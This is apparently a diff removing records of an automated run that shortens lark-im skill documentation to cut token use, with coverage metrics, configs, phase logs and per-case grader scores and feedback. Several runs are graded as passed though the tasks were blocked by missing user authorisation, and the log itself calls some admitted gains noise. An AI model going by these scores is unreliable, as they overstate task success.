"risk_tier": "中",
|
||||
"risk_lines": {
|
||||
"R0": 6,
|
||||
"R1": 21,
|
||||
"R2": 17,
|
||||
"R3": 0
|
||||
},
|
||||
"total_lines": 44,
|
||||
"overfit_risk": "关注",
|
||||
"suggest_add_cases": false,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-feed-shortcut-create.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "中",
|
||||
"risk_lines": {
|
||||
"R0": 7,
|
||||
"R1": 70,
|
||||
"R2": 20,
|
||||
"R3": 0
|
||||
},
|
||||
"total_lines": 97,
|
||||
"overfit_risk": "关注",
|
||||
"suggest_add_cases": false,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-feed-shortcut-list.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "中",
|
||||
"risk_lines": {
|
||||
"R0": 6,
|
||||
"R1": 73,
|
||||
"R2": 24,
|
||||
"R3": 0
|
||||
},
|
||||
"total_lines": 103,
|
||||
"overfit_risk": "关注",
|
||||
"suggest_add_cases": false,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-feed-shortcut-remove.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "中",
|
||||
"risk_lines": {
|
||||
"R0": 10,
|
||||
"R1": 24,
|
||||
"R2": 14,
|
||||
"R3": 0
|
||||
},
|
||||
"total_lines": 48,
|
||||
"overfit_risk": "关注",
|
||||
"suggest_add_cases": false,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/SKILL.md",
|
||||
"is_domain_skill": true,
|
||||
"actual": {
|
||||
"count": 3,
|
||||
"pct": 1.0,
|
||||
"tier": "密"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 3,
|
||||
"pct": 1.0,
|
||||
"tier": "密"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 3,
|
||||
"density_pct": 1.0,
|
||||
"density_tier": "密",
|
||||
"risk_tier": "中",
|
||||
"risk_lines": {
|
||||
"R0": 122,
|
||||
"R1": 0,
|
||||
"R2": 68,
|
||||
"R3": 41
|
||||
},
|
||||
"total_lines": 231,
|
||||
"overfit_risk": "低",
|
||||
"suggest_add_cases": false,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-chat-create.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 2,
|
||||
"pct": 0.667,
|
||||
"tier": "密"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 2,
|
||||
"pct": 0.667,
|
||||
"tier": "密"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 2,
|
||||
"density_pct": 0.667,
|
||||
"density_tier": "密",
|
||||
"risk_tier": "中",
|
||||
"risk_lines": {
|
||||
"R0": 5,
|
||||
"R1": 116,
|
||||
"R2": 12,
|
||||
"R3": 29
|
||||
},
|
||||
"total_lines": 162,
|
||||
"overfit_risk": "低",
|
||||
"suggest_add_cases": false,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-messages-send.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 2,
|
||||
"pct": 0.667,
|
||||
"tier": "密"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 2,
|
||||
"pct": 0.667,
|
||||
"tier": "密"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 2,
|
||||
"density_pct": 0.667,
|
||||
"density_tier": "密",
|
||||
"risk_tier": "中",
|
||||
"risk_lines": {
|
||||
"R0": 1,
|
||||
"R1": 140,
|
||||
"R2": 109,
|
||||
"R3": 14
|
||||
},
|
||||
"total_lines": 264,
|
||||
"overfit_risk": "低",
|
||||
"suggest_add_cases": false,
|
||||
"suggest_fix_routing": false
|
||||
},
|
||||
{
|
||||
"path": "skills/lark-im/references/lark-im-messages-mget.md",
|
||||
"is_domain_skill": false,
|
||||
"actual": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"expected": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"union": {
|
||||
"count": 0,
|
||||
"pct": 0.0,
|
||||
"tier": "盲区"
|
||||
},
|
||||
"discoverability_miss": 0,
|
||||
"density_count": 0,
|
||||
"density_pct": 0.0,
|
||||
"density_tier": "盲区",
|
||||
"risk_tier": "低",
|
||||
"risk_lines": {
|
||||
"R0": 5,
|
||||
"R1": 84,
|
||||
"R2": 10,
|
||||
"R3": 0
|
||||
},
|
||||
"total_lines": 99,
|
||||
"overfit_risk": "低",
|
||||
"suggest_add_cases": false,
|
||||
"suggest_fix_routing": false
|
||||
}
|
||||
]
|
||||
}
|
||||
@@ -1,48 +0,0 @@
|
||||
{
|
||||
"slug": "im-token",
|
||||
"modules": [
|
||||
"skills/lark-im/SKILL.md",
|
||||
"skills/lark-im/references/lark-im-chat-create.md",
|
||||
"skills/lark-im/references/lark-im-chat-identity.md",
|
||||
"skills/lark-im/references/lark-im-chat-list.md",
|
||||
"skills/lark-im/references/lark-im-chat-messages-list.md",
|
||||
"skills/lark-im/references/lark-im-chat-search.md",
|
||||
"skills/lark-im/references/lark-im-chat-update.md",
|
||||
"skills/lark-im/references/lark-im-feed-group-list-item.md",
|
||||
"skills/lark-im/references/lark-im-feed-group-list.md",
|
||||
"skills/lark-im/references/lark-im-feed-group-query-item.md",
|
||||
"skills/lark-im/references/lark-im-feed-groups.md",
|
||||
"skills/lark-im/references/lark-im-feed-shortcut-create.md",
|
||||
"skills/lark-im/references/lark-im-feed-shortcut-list.md",
|
||||
"skills/lark-im/references/lark-im-feed-shortcut-remove.md",
|
||||
"skills/lark-im/references/lark-im-flag-cancel.md",
|
||||
"skills/lark-im/references/lark-im-flag-create.md",
|
||||
"skills/lark-im/references/lark-im-flag-list.md",
|
||||
"skills/lark-im/references/lark-im-message-enrichment.md",
|
||||
"skills/lark-im/references/lark-im-messages-mget.md",
|
||||
"skills/lark-im/references/lark-im-messages-reply.md",
|
||||
"skills/lark-im/references/lark-im-messages-resources-download.md",
|
||||
"skills/lark-im/references/lark-im-messages-search.md",
|
||||
"skills/lark-im/references/lark-im-messages-send.md",
|
||||
"skills/lark-im/references/lark-im-reactions.md",
|
||||
"skills/lark-im/references/lark-im-threads-messages-list.md"
|
||||
],
|
||||
"modules_spec": [
|
||||
"skills/lark-im/**/*.md"
|
||||
],
|
||||
"dataset": {
|
||||
"path": "/Users/bytedance/Projects/workspace/tests_skill_eval/im/im_evals.yaml",
|
||||
"n_cases": 3,
|
||||
"covers_target": "全部 3 题均为 lark-im 任务(建群+拉人+发消息 / 搜消息+转发+@ / 建群+发卡片),命中 SKILL.md 路由 + chat-create/messages-send/chat-search/messages-search/chat-list references"
|
||||
},
|
||||
"baseline_k": 5,
|
||||
"budget": {
|
||||
"max_rounds": 10,
|
||||
"stall_n": 3
|
||||
},
|
||||
"tier_ceiling": "T1",
|
||||
"admit_sigma": 1.0,
|
||||
"admit_sigma_duration": 1.0,
|
||||
"admit_sigma_effect": 1.0,
|
||||
"admit_sigma_target_boost": 0.0
|
||||
}
|
||||
@@ -1,60 +0,0 @@
|
||||
{
|
||||
"task_id": "OPT-IM-1",
|
||||
"title": "优化 lark-im(省 token 保成功率)",
|
||||
"branch": "feat/opt-im-token",
|
||||
"current_phase": "round",
|
||||
"phase_status": "in_progress",
|
||||
"started_at": "2026-06-23T17:52:10",
|
||||
"updated_at": "2026-06-23T19:38:08",
|
||||
"blockers": null,
|
||||
"transcript_path": "/Users/bytedance/.claude/projects/-Users-bytedance-Projects-cli/fcb2679d-e086-4c27-8df7-729d3a6e8841.jsonl",
|
||||
"phases": {
|
||||
"objective": {
|
||||
"status": "completed",
|
||||
"start": "2026-06-23T17:52:10",
|
||||
"end": "2026-06-23T17:54:04"
|
||||
},
|
||||
"baseline": {
|
||||
"status": "completed",
|
||||
"start": "2026-06-23T17:54:04",
|
||||
"end": "2026-06-23T18:14:17"
|
||||
},
|
||||
"round": {
|
||||
"status": "in_progress",
|
||||
"start": "2026-06-23T18:14:17",
|
||||
"end": null,
|
||||
"iterations": [
|
||||
{
|
||||
"round_index": 1,
|
||||
"picked_candidate": "phi0",
|
||||
"picked_module": "skills/lark-im/SKILL.md",
|
||||
"tier": "T1",
|
||||
"verdict": "admit",
|
||||
"reason": "engine admit=score_gain(eff 0.511→0.667 升穿带);但 target_axis=token 反涨+24%、耗时+36%;逐run逐题证据显示各题0/1硬翻转、增益=case2抽到2次幸运run,SKILL.md改动与auth无因果——判定为auth噪声伪信号,候选改动本身(resident-40%无语义损失)合理但评测无法证明",
|
||||
"ci": null,
|
||||
"at": "2026-06-23T18:54:27"
|
||||
},
|
||||
{
|
||||
"round_index": 2,
|
||||
"picked_candidate": "a1333f2e1f7e98bf6f705814b92cacae1f43565759e4e0c24a0a4700b241649e",
|
||||
"picked_module": "skills/lark-im/references/lark-im-messages-send.md",
|
||||
"tier": "T1",
|
||||
"verdict": "admit",
|
||||
"reason": "engine admit=score_gain(case080 单题 0.6→1.0 升穿带);token 这次方向对 -2464(未越带),耗时持平;decision_n=1 单题auth硬币噪声,效果增益疑噪声;改动本身 messages-send.md -53.5% 经reviewer核验真去冗余无语义损失",
|
||||
"ci": null,
|
||||
"at": "2026-06-23T19:38:08"
|
||||
}
|
||||
]
|
||||
},
|
||||
"seal": {
|
||||
"status": "pending",
|
||||
"start": null,
|
||||
"end": null
|
||||
},
|
||||
"handoff": {
|
||||
"status": "pending",
|
||||
"start": null,
|
||||
"end": null
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,13 +0,0 @@
|
||||
# Opt State: OPT-IM-1 优化 lark-im(省 token 保成功率)
|
||||
|
||||
## Phase 记录
|
||||
|
||||
### ✅ Phase 1: Objective
|
||||
进入 baseline:以现网 lark-im 文档为 Φ0,K=5 重复评测立噪声地板
|
||||
做了什么:确认7项objective(省token保成功率/T1/全lark-im范围/K5/10轮stall3/σ1.0)并写objective.json,起dashboard,派annotator;关键判断:范围取全部25个lark-im文档由candidate-writer据归因选;弯路:opt-state branch只记名未建git分支,手动checkout -b;意外:评测集仅3题,过拟合与噪声带偏弱风险高;摩擦:无
|
||||
### ✅ Phase 2: Baseline
|
||||
进入 round 循环:Φ0 噪声地板已立(eff σ=0.151/token σ=7167/dur σ=7746),3 题 22 盲区,token 入池带~4530/题
|
||||
做了什么:跑完K=5 baseline+coverage_map,Φ0种子入池;关键判断:token噪声大(σ/mean~22%)入池门槛偏高,SKILL.md常驻是reach全集的最高杠杆;弯路:无;意外:22/25文件是盲区,reach会天然把候选限制到SKILL.md+被读references;摩擦:无
|
||||
### 🔄 Phase 3: Round
|
||||
### ⬜ Phase 4: Seal
|
||||
### ⬜ Phase 5: Handoff
|
||||
@@ -1,12 +0,0 @@
|
||||
{
|
||||
"id": "53194d7a111df326cc078b633f43587225bd0132",
|
||||
"worktree": "/Users/bytedance/Projects/cli",
|
||||
"commit": "cbd6e56ac07285fd973c53ff7382da0112b6cf5d",
|
||||
"phi0_worktree": "/Users/bytedance/Projects/cli",
|
||||
"lineage": [
|
||||
"phi0",
|
||||
"a1333f2e1f7e98bf6f705814b92cacae1f43565759e4e0c24a0a4700b241649e",
|
||||
"557349b40feb359bb791749a37571d59edb7e72e",
|
||||
"53194d7a111df326cc078b633f43587225bd0132"
|
||||
]
|
||||
}
|
||||
@@ -1,35 +0,0 @@
|
||||
{
|
||||
"1": {
|
||||
"score": 1.0,
|
||||
"passed": true,
|
||||
"context_window": 33840,
|
||||
"token_usage": 237434,
|
||||
"duration_ms": 44127,
|
||||
"tool_call_count": 25,
|
||||
"feedback": "执行者成功完成了所有期望:首先搜索联系人获取 open_id(首次搜索用单字失败后改为双字搜索成功),然后使用 --as user 创建群组并添加成员,最后发送消息并返回 message_id。整个流程正确,使用了等效的 `--as user` 身份,符合用户「使用我的身份」的要求。验证结果确认所有操作均已生效。",
|
||||
"from_round": 3,
|
||||
"from_candidate": "53194d7a111df326cc078b633f43587225bd0132"
|
||||
},
|
||||
"2": {
|
||||
"score": 0.8,
|
||||
"passed": true,
|
||||
"context_window": 47116,
|
||||
"token_usage": 612048,
|
||||
"duration_ms": 114310,
|
||||
"tool_call_count": 49,
|
||||
"feedback": "Agent 行为完全符合 skill 文档规范:正确识别认证缺失 → 发起 split-flow 认证 → 生成二维码 → 告知用户配合。三项核心任务均因用户未完成扫码授权而未能执行,非 Agent 能力问题。判定为 env-blocked,通过。\n- {'reason': '考虑在认证流程中加入超时机制或重试逻辑,当用户长时间未完成授权时主动提醒或提供替代方案'}\n- {'reason': '认证流程的 split-flow 设计合理,但可考虑添加自动化测试用的 bot 身份模式(--as bot)作为 fallback,避免在自动化场景中阻塞'}",
|
||||
"from_round": 1,
|
||||
"from_candidate": "a1333f2e1f7e98bf6f705814b92cacae1f43565759e4e0c24a0a4700b241649e"
|
||||
},
|
||||
"3": {
|
||||
"score": 1.0,
|
||||
"passed": true,
|
||||
"context_window": 35942,
|
||||
"token_usage": 234388,
|
||||
"duration_ms": 43185,
|
||||
"tool_call_count": 22,
|
||||
"feedback": "执行者正确理解用户意图,使用用户身份创建群并发送卡片消息。创建群组一次成功,发送卡片经历了4次格式试错(最初使用顶层 elements 和 tag:markdown,后通过查阅官方文档找到正确格式:body.elements + div + lark_md),最终成功发送并返回 message_id。试错后自行纠正符合评判原则,不构成判罚依据。\n- {'reason': '建议在 lark-im-messages-send.md 中增加飞书 interactive card 的标准格式示例,特别是 2.0 schema 下的 body.elements 中使用 div + lark_md 的正确写法,减少 AI 试错成本'}\n- {'reason': '建议 CLI 在遇到 230099 卡片格式错误时,尝试解析并返回更具体的字段级错误提示(如提示 \"elements 应在 body 内\" 或 \"tag:markdown 不被支持\"),帮助 AI 更快定位问题'}",
|
||||
"from_round": 3,
|
||||
"from_candidate": "53194d7a111df326cc078b633f43587225bd0132"
|
||||
}
|
||||
}
|
||||
@@ -1,35 +0,0 @@
|
||||
{
|
||||
"1": {
|
||||
"score": 0.6,
|
||||
"passed": true,
|
||||
"context_window": 34270,
|
||||
"token_usage": 274608,
|
||||
"duration_ms": 43995,
|
||||
"tool_call_count": 31,
|
||||
"feedback": "Agent 正确遵循 split-flow 授权流程,生成二维码并告知用户。核心任务未完成完全因用户未完成授权(外部环境因素)。Agent 的错误尝试(scope 格式错误、绝对路径参数)均有自行纠正。整体流程符合预期,授权未完成是合理的阻塞点。\n- {'reason': '防御性设计:scope 参数格式文档不明确导致 Agent 首次尝试失败。建议在 skill 文档或 lark-cli auth login --help 中提供 scope 格式的显式示例(如 `im:chat` vs `im:chat:create` 的区别),减少试错成本。'}\n- {'reason': '参数文档:`--domain` vs `--scope` 的使用场景和格式要求应更清晰。当前 Agent 用了错误的 scope 格式后才改用 domain,暗示文档指引不够明确。'}\n- {'reason': '并行优化:搜索傅一铭和傅二铭可并行执行,减少等待时间。当前两次搜索串行执行。'}\n- {'reason': 'Scope 预判:创建群 + 发送消息所需 scope 应在首次授权时一次性请求,而非遇到权限错误才逐步添加。可避免多次授权流程。'}",
|
||||
"from_round": 1,
|
||||
"from_candidate": "a1333f2e1f7e98bf6f705814b92cacae1f43565759e4e0c24a0a4700b241649e"
|
||||
},
|
||||
"2": {
|
||||
"score": 0.8,
|
||||
"passed": true,
|
||||
"context_window": 47116,
|
||||
"token_usage": 612048,
|
||||
"duration_ms": 114310,
|
||||
"tool_call_count": 49,
|
||||
"feedback": "Agent 行为完全符合 skill 文档规范:正确识别认证缺失 → 发起 split-flow 认证 → 生成二维码 → 告知用户配合。三项核心任务均因用户未完成扫码授权而未能执行,非 Agent 能力问题。判定为 env-blocked,通过。\n- {'reason': '考虑在认证流程中加入超时机制或重试逻辑,当用户长时间未完成授权时主动提醒或提供替代方案'}\n- {'reason': '认证流程的 split-flow 设计合理,但可考虑添加自动化测试用的 bot 身份模式(--as bot)作为 fallback,避免在自动化场景中阻塞'}",
|
||||
"from_round": 1,
|
||||
"from_candidate": "a1333f2e1f7e98bf6f705814b92cacae1f43565759e4e0c24a0a4700b241649e"
|
||||
},
|
||||
"3": {
|
||||
"score": 1.0,
|
||||
"passed": true,
|
||||
"context_window": 35478,
|
||||
"token_usage": 221685,
|
||||
"duration_ms": 46540,
|
||||
"tool_call_count": 22,
|
||||
"feedback": "所有核心目标均达成。执行者经历了两次试错(shell 引号问题、@file 语法不支持),但均自行修正并成功完成任务,符合合理的调试流程。群创建、卡片创建、消息发送三个决策点全部通过。卡片内容准确包含「今天晚上吃什么」文字,message_id 成功返回。\n- {'reason': '参数文档改进: --content 参数应明确标注不支持 @file 语法,避免 AI 重复试错'}\n- {'reason': '引导性错误: 当检测到 @/path 模式时,错误提示应建议正确的替代参数(如 --file)'}\n- {'reason': '防御性设计: 在 SKILL.md 补充大型 JSON 内容的分段写入指引,减少因引号转义导致的失败'}",
|
||||
"from_round": 2,
|
||||
"from_candidate": "557349b40feb359bb791749a37571d59edb7e72e"
|
||||
}
|
||||
}
|
||||
@@ -1,35 +0,0 @@
|
||||
{
|
||||
"1": {
|
||||
"score": 0.6,
|
||||
"passed": true,
|
||||
"context_window": 34270,
|
||||
"token_usage": 274608,
|
||||
"duration_ms": 43995,
|
||||
"tool_call_count": 31,
|
||||
"feedback": "Agent 正确遵循 split-flow 授权流程,生成二维码并告知用户。核心任务未完成完全因用户未完成授权(外部环境因素)。Agent 的错误尝试(scope 格式错误、绝对路径参数)均有自行纠正。整体流程符合预期,授权未完成是合理的阻塞点。\n- {'reason': '防御性设计:scope 参数格式文档不明确导致 Agent 首次尝试失败。建议在 skill 文档或 lark-cli auth login --help 中提供 scope 格式的显式示例(如 `im:chat` vs `im:chat:create` 的区别),减少试错成本。'}\n- {'reason': '参数文档:`--domain` vs `--scope` 的使用场景和格式要求应更清晰。当前 Agent 用了错误的 scope 格式后才改用 domain,暗示文档指引不够明确。'}\n- {'reason': '并行优化:搜索傅一铭和傅二铭可并行执行,减少等待时间。当前两次搜索串行执行。'}\n- {'reason': 'Scope 预判:创建群 + 发送消息所需 scope 应在首次授权时一次性请求,而非遇到权限错误才逐步添加。可避免多次授权流程。'}",
|
||||
"from_round": 1,
|
||||
"from_candidate": "a1333f2e1f7e98bf6f705814b92cacae1f43565759e4e0c24a0a4700b241649e"
|
||||
},
|
||||
"2": {
|
||||
"score": 0.8,
|
||||
"passed": true,
|
||||
"context_window": 47116,
|
||||
"token_usage": 612048,
|
||||
"duration_ms": 114310,
|
||||
"tool_call_count": 49,
|
||||
"feedback": "Agent 行为完全符合 skill 文档规范:正确识别认证缺失 → 发起 split-flow 认证 → 生成二维码 → 告知用户配合。三项核心任务均因用户未完成扫码授权而未能执行,非 Agent 能力问题。判定为 env-blocked,通过。\n- {'reason': '考虑在认证流程中加入超时机制或重试逻辑,当用户长时间未完成授权时主动提醒或提供替代方案'}\n- {'reason': '认证流程的 split-flow 设计合理,但可考虑添加自动化测试用的 bot 身份模式(--as bot)作为 fallback,避免在自动化场景中阻塞'}",
|
||||
"from_round": 1,
|
||||
"from_candidate": "a1333f2e1f7e98bf6f705814b92cacae1f43565759e4e0c24a0a4700b241649e"
|
||||
},
|
||||
"3": {
|
||||
"score": 0.6,
|
||||
"passed": true,
|
||||
"context_window": 37942,
|
||||
"token_usage": 251669,
|
||||
"duration_ms": 45769,
|
||||
"tool_call_count": 23,
|
||||
"feedback": "Agent 正确处理了用户授权流程,执行了正确的命令并遵循 split-flow 授权规范。遇到用户未授权的环境问题是预期行为,Agent 的处理符合文档要求。所有期望被外部环境因素阻塞,不计入失败。\n- {'reason': '考虑在 Skill 文档中明确说明:对于需要用户授权的操作,如果用户明确说「不需要确认」,Agent 应该说明这是系统级安全约束而非可跳过的确认提示'}\n- {'reason': '在 lark-im 的群创建流程中考虑增加预检查:在发起授权前先用 --dry-run 确认操作可执行性,减少无效操作'}",
|
||||
"from_round": 1,
|
||||
"from_candidate": "a1333f2e1f7e98bf6f705814b92cacae1f43565759e4e0c24a0a4700b241649e"
|
||||
}
|
||||
}
|
||||
@@ -1,35 +0,0 @@
|
||||
{
|
||||
"1": {
|
||||
"score": 0.6,
|
||||
"passed": true,
|
||||
"context_window": 30086,
|
||||
"token_usage": 292379,
|
||||
"duration_ms": 51004,
|
||||
"tool_call_count": 32,
|
||||
"feedback": "Agent 行为完全正确:选择 user 身份符合需求(用户要求\"使用我的身份\"),认证缺失时正确执行 split-flow 授权流程,路径错误后自行纠正。任务未完成源于用户未完成二维码授权(环境因素),非 agent 能力缺陷。所有期望均因 blocked_by_env 而 PASS。\n- {'reason': '**防御性设计**:在发起授权前,可先检查 `lark-cli auth status` 的 user.identity.status,若为 missing 则主动告知用户\"当前用户身份未授权,我先帮你发起授权\",减少用户在看到认证错误后的困惑。'}\n- {'reason': '**边界红线**:skill 文档中 split-flow 的启动条件(`need_user_authorization` 错误)与主动预检(`auth status`)之间的空隙建议弥合——可考虑在 skill 文档的 AI Usage Guidance 中增加\"主动预检身份状态\"的推荐步骤。'}\n- {'reason': '**参数文档**:lark-shared 中 `--output` 路径限制(必须相对路径)的错误提示可更明确,如\"必须使用相对路径,如 ./filename,不支持 /tmp/ 等绝对路径\"——当前提示对不熟悉 CLI 约定的用户不够直观。'}",
|
||||
"from_round": 0,
|
||||
"from_candidate": "phi0"
|
||||
},
|
||||
"2": {
|
||||
"score": 0.4,
|
||||
"passed": false,
|
||||
"context_window": 34616,
|
||||
"token_usage": 274168,
|
||||
"duration_ms": 52787,
|
||||
"tool_call_count": 25,
|
||||
"feedback": "执行者表现符合规范:正确识别权限缺失、按 split-flow 流程发起授权、生成二维码并展示给用户。但用户未在执行期间完成扫码授权,导致所有核心业务目标(群聊搜索、消息筛选、转发、@通知)均未完成。这是典型的外部环境阻塞(用户交互依赖),不属于 agent 能力缺陷。执行者的错误处理和流程遵循均正确。\n- {'reason': '**防御性设计**:对于需要用户交互的授权流程(如扫码授权),skill 文档应提供\"无交互回退\"路径的说明,例如:如果用户长时间未响应或无法完成授权,agent 应如何优雅降级或给出替代方案。'}\n- {'reason': '**用户引导优化**:在授权提示中增加明确的超时说明(如\"此授权链接有效期10分钟\")和自动重试机制的说明,帮助用户在预期时间内完成操作。'}\n- {'reason': '**环境因素说明**:在评测数据中标注哪些测试case依赖实时用户交互,以便区分\"用户未配合\"与\"agent能力不足\"的情况,避免将环境因素误判为执行失败。'}",
|
||||
"from_round": 0,
|
||||
"from_candidate": "phi0"
|
||||
},
|
||||
"3": {
|
||||
"score": 0.5333333333333333,
|
||||
"passed": false,
|
||||
"context_window": 31289,
|
||||
"token_usage": 225396,
|
||||
"duration_ms": 46776,
|
||||
"tool_call_count": 22,
|
||||
"feedback": "三个核心目标全部达成。user 身份因未授权阻断属于环境因素(blocked_by_env),bot 身份成功创建群并发送卡片消息。所有返回的 chat_id 和 message_id 均已验证存在。\n- {'reason': \"Skill 文档在 '--as user' 的权限不足处理部分,可增加提示:当 user 授权缺失时,bot 身份是合理的降级路径,尤其是创建群这类 bot 可独立完成的任务\"}\n- {'reason': \"用户意图'使用我的身份'与 bot 身份实际执行存在语义偏差,建议在 user 授权缺失时先询问用户是否接受 bot 代理,或尝试引导用户完成授权\"}",
|
||||
"from_round": 0,
|
||||
"from_candidate": "phi0"
|
||||
}
|
||||
}
|
||||
@@ -1,67 +0,0 @@
|
||||
[
|
||||
{
|
||||
"case_id": "2",
|
||||
"case_label": "CLI_核心评测_015",
|
||||
"verdict": "FAIL",
|
||||
"token": 34616,
|
||||
"duration_ms": 52787,
|
||||
"tool_calls": 25,
|
||||
"cmd_attempts": 5,
|
||||
"cmd_failures": 3,
|
||||
"cmd_fail_rate": 0.6,
|
||||
"discoverability_state": "③ 读了仍失败(SKILL.md reach=1.0 调用前已读;失败在上游 user 授权,非内容触达问题)",
|
||||
"axis": "效果",
|
||||
"axis_secondary": "token",
|
||||
"root_cause": "沙箱内 user 身份授权无法完成(QR 无人扫),+chat-search --as user 返回 token_missing,定位群/转发/@ 全部 blocked;驱动该行为的授权流程文档在不可改的 lark-shared。非 lark-im 文档根因、本轮不可修。token 侧 SKILL.md 常驻正文 5777 tok 是 T1 可控热点。",
|
||||
"doc_fixable_at_T1": false,
|
||||
"token_hotspot": "运行时冗余清单常驻(lark-im SKILL.md 正文 5777 tok,含 API Resources 全量 per-method identity 清单)",
|
||||
"token_reliability": "常驻静态",
|
||||
"duration_hotspot": "重试(auth qrcode --output /tmp 被拒后改相对路径重试 1 次)+ user 授权 split-flow 固有往返/外部API延迟(部分不可归因)",
|
||||
"duration_reliability": "耗时波动大,单次运行不算数,需多题或多次复现",
|
||||
"doc_fix_hint": "SKILL.md 中 API Resources 的逐 method identity/owner-admin-tenant 约束清单与本轮任务无关却每次常驻;属低命中、全量罗列的常驻内容。effect 不在 T1 可修。"
|
||||
},
|
||||
{
|
||||
"case_id": "3",
|
||||
"case_label": "CLI_核心评测_080",
|
||||
"verdict": "FAIL",
|
||||
"token": 31289,
|
||||
"duration_ms": 46776,
|
||||
"tool_calls": 22,
|
||||
"cmd_attempts": 5,
|
||||
"cmd_failures": 3,
|
||||
"cmd_fail_rate": 0.6,
|
||||
"discoverability_state": "③ 读了仍失败(SKILL.md + chat-create.md + messages-send.md 调用前已读;建群仍因 user 授权 blocked)",
|
||||
"axis": "效果",
|
||||
"axis_secondary": "token",
|
||||
"root_cause": "沙箱内 user 身份授权无法完成,+chat-create --as user 返回 token_missing,建群即 blocked,建卡片/发卡片无法进行;驱动文档在不可改的 lark-shared。非 lark-im 文档根因、本轮不可修。本题 token 最重:读取 Skill 占 49.6%(chat-create 3062 + messages-send 5367)+ SKILL.md 常驻 5722。",
|
||||
"doc_fixable_at_T1": false,
|
||||
"token_hotspot": "按需 reference 偏大(messages-send.md 5367 + chat-create.md 3062)+ 运行时冗余清单常驻(SKILL.md 5722);messages-send.md 读了但本题未走到发消息(建群已 blocked)属读了没用上",
|
||||
"token_reliability": "按需读取(reference)+ 常驻静态(SKILL.md)",
|
||||
"duration_hotspot": "重试(auth qrcode 路径被拒 + auth login scope 写错各重试 1 次)+ user 授权固有往返",
|
||||
"duration_reliability": "耗时波动大,单次运行不算数,需多题或多次复现",
|
||||
"doc_fix_hint": "messages-send.md / chat-create.md 单文件偏大,按需读取时仍是大块;SKILL.md 常驻正文偏重。本题为 token 轴杠杆最高的题。effect 不在 T1 可修。"
|
||||
},
|
||||
{
|
||||
"case_id": "1",
|
||||
"case_label": "CLI_核心评测_014",
|
||||
"verdict": "FAIL",
|
||||
"verdict_workorder": "PASS",
|
||||
"verdict_note": "派工单 verdict=PASS,但 3 条判分点证据全为 ✗(群未创建、成员未加、消息未发,blocked by user identity missing)。归因按判分点证据当 FAIL 处理。",
|
||||
"token": 30086,
|
||||
"duration_ms": 51004,
|
||||
"tool_calls": 32,
|
||||
"cmd_attempts": 10,
|
||||
"cmd_failures": 6,
|
||||
"cmd_fail_rate": 0.6,
|
||||
"discoverability_state": "③ 读了仍失败(SKILL.md reach=1.0;#8 跑了 +chat-create --help 成功;失败在 user 授权与跨域 contact 查询)",
|
||||
"axis": "效果",
|
||||
"axis_secondary": "token",
|
||||
"root_cause": "沙箱内 user 身份授权无法完成;先查联系人切到 lark-contact、contact +search-user --as user 同样 token_missing/exit3,回到 +chat-create 前已被 user 授权 blocked;驱动文档在不可改的 lark-shared。非 lark-im 文档根因、本轮不可修。token 侧 SKILL.md 常驻 5724 tok 是 T1 可控热点。",
|
||||
"doc_fixable_at_T1": false,
|
||||
